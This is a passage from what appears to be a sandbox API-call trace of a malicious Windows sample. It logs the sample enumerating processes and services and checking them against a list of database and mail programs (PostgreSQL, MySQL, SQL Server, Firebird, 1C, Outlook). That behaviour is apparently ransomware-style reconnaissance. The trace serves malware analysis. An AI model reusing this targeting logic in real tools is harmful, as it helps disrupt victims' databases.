returned -1 [0166.308] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0166.308] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0166.308] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0166.308] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0166.308] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0166.308] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.308] lstrlenW (lpString="csrss.exe") returned 9 [0166.308] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0166.308] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0166.308] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0166.308] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0166.309] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0166.309] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0166.309] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.309] lstrlenW (lpString="winlogon.exe") returned 12 [0166.309] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.310] lstrlenW (lpString="services.exe") returned 12 [0166.310] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.310] lstrlenW (lpString="lsass.exe") returned 9 [0166.310] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0166.310] lstrlenW (lpString="lsm.exe") returned 7 [0166.310] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.311] lstrlenW (lpString="svchost.exe") returned 11 [0166.311] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.311] lstrlenW (lpString="svchost.exe") returned 11 [0166.311] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.312] lstrlenW (lpString="svchost.exe") returned 11 [0166.312] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.312] lstrlenW (lpString="svchost.exe") returned 11 [0166.312] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.312] lstrlenW (lpString="svchost.exe") returned 11 [0166.312] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.313] lstrlenW (lpString="audiodg.exe") returned 11 [0166.313] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.313] lstrlenW (lpString="svchost.exe") returned 11 [0166.313] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.314] lstrlenW (lpString="svchost.exe") returned 11 [0166.314] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.314] lstrlenW (lpString="spoolsv.exe") returned 11 [0166.314] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.315] lstrlenW (lpString="taskhost.exe") returned 12 [0166.315] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.315] lstrlenW (lpString="svchost.exe") returned 11 [0166.315] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0166.316] lstrlenW (lpString="userinit.exe") returned 12 [0166.316] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.316] lstrlenW (lpString="dwm.exe") returned 7 [0166.316] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.317] lstrlenW (lpString="explorer.exe") returned 12 [0166.317] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0166.317] lstrlenW (lpString="3G6885.exe") returned 10 [0166.317] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0166.317] lstrlenW (lpString="reader_sl.exe") returned 13 [0166.317] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0166.318] lstrlenW (lpString="drvinst.exe") returned 11 [0166.318] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.318] lstrlenW (lpString="taskhost.exe") returned 12 [0166.318] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0166.319] lstrlenW (lpString="consent.exe") returned 11 [0166.319] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.319] lstrlenW (lpString="dllhost.exe") returned 11 [0166.319] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.319] lstrlenW (lpString="dllhost.exe") returned 11 [0166.319] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0166.320] CloseHandle (hObject=0x364) returned 1 [0166.320] Sleep (dwMilliseconds=0x1f4) [0166.876] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8b08 [0166.877] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0166.877] GetLastError () returned 0xea [0166.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x42ddfa0 [0166.877] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42ddfa0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42ddfa0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0166.877] CloseServiceHandle (hSCObject=0x41d8b08) returned 1 [0166.878] lstrlenW (lpString="Appinfo") returned 7 [0166.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0166.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0166.878] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0166.878] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0166.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0166.878] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0166.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.878] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0166.878] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0166.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0166.878] lstrlenW (lpString="AudioSrv") returned 8 [0166.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0166.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0166.878] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0166.878] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0166.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0166.878] lstrlenW (lpString="BFE") returned 3 [0166.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0166.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0166.878] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0166.878] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0166.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0166.878] lstrlenW (lpString="CryptSvc") returned 8 [0166.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0166.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0166.878] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0166.878] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0166.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0166.879] lstrlenW (lpString="CscService") returned 10 [0166.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0166.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0166.879] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0166.879] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0166.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0166.879] lstrlenW (lpString="DcomLaunch") returned 10 [0166.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.879] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0166.879] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0166.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0166.879] lstrlenW (lpString="Dhcp") returned 4 [0166.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0166.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0166.879] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0166.879] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0166.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0166.879] lstrlenW (lpString="Dnscache") returned 8 [0166.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0166.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0166.879] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0166.879] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0166.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0166.879] lstrlenW (lpString="DPS") returned 3 [0166.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0166.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0166.879] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0166.879] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0166.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0166.880] lstrlenW (lpString="eventlog") returned 8 [0166.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0166.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0166.880] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0166.880] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0166.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0166.880] lstrlenW (lpString="EventSystem") returned 11 [0166.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0166.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0166.880] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0166.880] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0166.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0166.880] lstrlenW (lpString="gpsvc") returned 5 [0166.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0166.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0166.880] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0166.880] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0166.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0166.880] lstrlenW (lpString="iphlpsvc") returned 8 [0166.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.880] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0166.880] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0166.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0166.880] lstrlenW (lpString="LanmanServer") returned 12 [0166.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0166.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0166.880] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0166.880] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0166.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0166.880] lstrlenW (lpString="LanmanWorkstation") returned 17 [0166.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.881] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0166.881] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0166.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0166.881] lstrlenW (lpString="lmhosts") returned 7 [0166.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0166.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0166.881] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0166.881] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0166.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0166.881] lstrlenW (lpString="MMCSS") returned 5 [0166.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0166.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0166.881] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0166.881] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0166.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0166.881] lstrlenW (lpString="MpsSvc") returned 6 [0166.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0166.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0166.881] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0166.881] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0166.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0166.881] lstrlenW (lpString="Netman") returned 6 [0166.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0166.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0166.881] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0166.881] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0166.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0166.881] lstrlenW (lpString="netprofm") returned 8 [0166.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0166.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0166.882] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0166.882] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0166.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0166.882] lstrlenW (lpString="NlaSvc") returned 6 [0166.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0166.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0166.882] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0166.882] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0166.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0166.882] lstrlenW (lpString="nsi") returned 3 [0166.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0166.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0166.882] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0166.882] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0166.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0166.882] lstrlenW (lpString="PcaSvc") returned 6 [0166.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0166.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0166.882] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0166.882] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0166.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0166.882] lstrlenW (lpString="PlugPlay") returned 8 [0166.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0166.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0166.882] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0166.882] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0166.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0166.882] lstrlenW (lpString="Power") returned 5 [0166.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0166.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0166.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0166.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0166.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0166.883] lstrlenW (lpString="ProfSvc") returned 7 [0166.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0166.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0166.883] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0166.883] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0166.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0166.883] lstrlenW (lpString="RpcEptMapper") returned 12 [0166.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.883] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0166.883] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0166.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0166.883] lstrlenW (lpString="RpcSs") returned 5 [0166.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0166.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0166.883] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0166.883] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0166.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0166.883] lstrlenW (lpString="SamSs") returned 5 [0166.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0166.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0166.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0166.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0166.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0166.883] lstrlenW (lpString="Schedule") returned 8 [0166.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0166.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0166.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0166.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0166.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 